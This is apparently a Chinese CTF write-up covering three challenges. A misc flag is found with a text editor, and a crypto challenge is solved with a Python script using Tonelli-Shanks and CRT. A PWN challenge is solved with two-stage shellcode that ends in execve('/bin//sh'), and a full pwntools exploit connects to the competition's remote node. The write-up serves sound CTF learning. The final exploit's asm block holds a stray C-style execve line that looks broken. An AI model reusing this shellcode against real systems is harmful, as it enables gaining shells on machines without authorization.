Misc

VN_Lang

简单的签到题,原本以为真的要解密程序里的那个字符串结果发现记事本打开搜VN就有flag。

![1](../images/VN wp/misc1.png)

Crypto

easymath

AI神力,首先多项式求根求解多项式方程找到质数候选值,质数筛选,模运算计算平方根和模数,Tonelli-Shanke算法计算模数下的平方根,注意考虑平方根正负两种情况,接着用中国剩余定理将模质数下的解合并为模N下的解,最后过滤解码即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# 导入所需的库
from sympy import symbols, solve, isprime
from sympy.ntheory.modular import crt
import binascii

# 定义多项式字符串
polynomial_str = "x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619"
# 定义常数 c
c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944

# 定义符号 x
x = symbols('x')
# 计算多项式表达式
expr = eval(polynomial_str)
# 求解多项式方程
roots = solve(expr, x)
# 将根转换为整数并四舍五入
p_candidates = [int(root.round()) for root in roots]

# 初始化质数列表
primes = []
# 遍历候选质数
for p in p_candidates:
# 检查是否为质数
if isprime(p):
# 将质数添加到列表中
primes.append(p)
# 对质数列表进行排序
primes = sorted(primes, reverse=True)
# 打印找到的质数
print("找到的质数:", primes)
# 提取三个最大的质数
p0, p1, p2 = primes

# 计算 N
N = p0 * p1 * p2
# 打印 N
print("N =", N)

# 确保 c 小于 N
assert c < N, "c 的值超出模数范围"

# 定义 Tonelli-Shanks 算法
def tonelli_shanks(n, p):
# 检查 n 是否为二次剩余
if pow(n, (p - 1) // 2, p) != 1:
# 如果不是二次剩余,返回 None
return None
# 计算平方根
return pow(n, (p + 1) // 4, p)

# 计算 c 在 p0 下的平方根
r0 = tonelli_shanks(c, p0)
# 计算 c 在 p1 下的平方根
r1 = tonelli_shanks(c, p1)
# 计算 c 在 p2 下的平方根
r2 = tonelli_shanks(c, p2)

# 导入 product 函数
from itertools import product

# 初始化解列表
solutions = []
# 生成所有可能的符号组合
signs = list(product([+1, -1], repeat=3))
# 遍历所有符号组合
for sign in signs:
# 计算 a0
a0 = (sign[0] * r0) % p0
# 计算 a1
a1 = (sign[1] * r1) % p1
# 计算 a2
a2 = (sign[2] * r2) % p2
# 将解添加到列表中
solutions.append((a0, a1, a2))

# 定义模数列表
moduli = [p0, p1, p2]
# 初始化可能的 flag 列表
possible_flags = []
# 遍历所有解
for sol in solutions:
# 使用中国剩余定理求解
res = crt(moduli, sol)
# 如果解存在
if res is not None:
# 将解添加到可能的 flag 列表中
possible_flags.append(res[0])

# 去重可能的 flag 列表
possible_flags = list(set(possible_flags))
# 过滤可能的 flag 列表
possible_flags = [f for f in possible_flags if f**2 % N == c]

# 打印可能的 flag 解密结果
print("可能的 flag 解密结果:")
# 遍历所有可能的 flag
for f in possible_flags:
# 如果 flag 为负数
if f < 0:
# 将 flag 转换为正数
f += N
# 打印候选解
print(f"候选解: {f}")
# 尝试解码 flag
try:
# 将 flag 转换为字节数组
flag_bytes = int.to_bytes(f, length=(f.bit_length() + 7) // 8, byteorder='big')
# 打印解码后的 flag
print(f"解码后的 flag: {flag_bytes.decode()}")
# 如果解码失败
except UnicodeDecodeError:
# 打印错误信息
print("解码失败,可能非 ASCII 串")

![1](../images/VN wp/密码1.png)

PWN

签个到吧

这道题是一个典型的利用自定义可执行内存区域(通过mmap分配)执行Shellcode

checksec:

1
2
3
4
5
Arch: amd64-64-little 
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

mmap在地址0x114514000分配了0x1000字节的内存,权限为7即可读可写可执行

mprotect再次确认该内存的权限为7故利用该内存区域即可无视NX

read(0,buf,0x16)读取输入的22字节到buf,execute(buf)通过jmp rdi跳转执行buf(因为buf为第一个参数rdi在64位系统中存储第一个参数),可利用该处填入shellcode并执行,因为22个字节过短所以选择先执行read的系统调用扩展输入,再二次执行execve shellcode获取shell

第一阶段:

1
2
3
4
5
6
shellcode1 = asm('''
mov rsi, rdi ; rsi = buf地址(rdi为execute参数)
mov edi, eax ; edi = eax(此时eax=0,因main返回0)
mov dl, 0x80 ; rdx = 0x80(读取长度)
syscall ; 调用read(0, buf, 0x80)
''')
  • 目的:通过read系统调用读取更多数据到buf,覆盖原有Shellcode。
  • 寄存器状态
    • rdi(第一个参数)来自execute的参数a1,即buf地址。
    • eaxmain结束时为0return 0),故edi=0对应read的第一个参数fd=0(标准输入)。
    • rsi指向bufrdx=0x80允许读取128字节,远超初始的22字节限制。

第二阶段

1
2
3
4
5
6
7
8
9
10
11
12
shellcode2 = asm('''
mov rsp, rsi ; 栈指针指向buf
add rsp, 0x1000 ; 栈顶移至buf末尾(避免覆盖Shellcode)
xor rsi, rsi ; rsi=0(argv=NULL)
mul rsi ; rax=0, rdx=0(envp=NULL)
push rax ; 字符串结尾\0
mov rbx, 0x68732f2f6e69622f ; "/bin//sh"
push rbx ; 压入字符串地址
mov rdi, rsp ; rdi指向字符串
mov al, 59 ; execve系统调用号
syscall ; 触发execve("/bin//sh", 0, 0)
''')
  • 栈迁移:将栈指针rsp指向buf末尾(+0x1000),确保后续push操作不会覆盖Shellcode。
  • 参数构造
    • xor rsi, rsimul rsirsiraxrdx清零,对应argv=0envp=0
    • 压入字符串/bin//sh并设置rdi指向它,构造execve参数。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(log_level='debug',arch='amd64',os = 'Linux')
#io = process("./pwn")
io = remote('node.vnteam.cn',44612)

shellcode1 = asm('''
mov rsi, rdi
mov edi, eax
mov dl, 0x80
syscall
''')
shellcode2 = asm('''
mov rsp, rsi
add rsp, 0x1000
xor rsi, rsi
mul rsi
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
mov al, 59
syscall
execve("/bin//sh", 0, 0)
''')
print(len(shellcode1))
io.send(shellcode1)

payload = b'a'*9+shellcode2 #第一部分shellcode为9字节
io.send(payload)

io.interactive()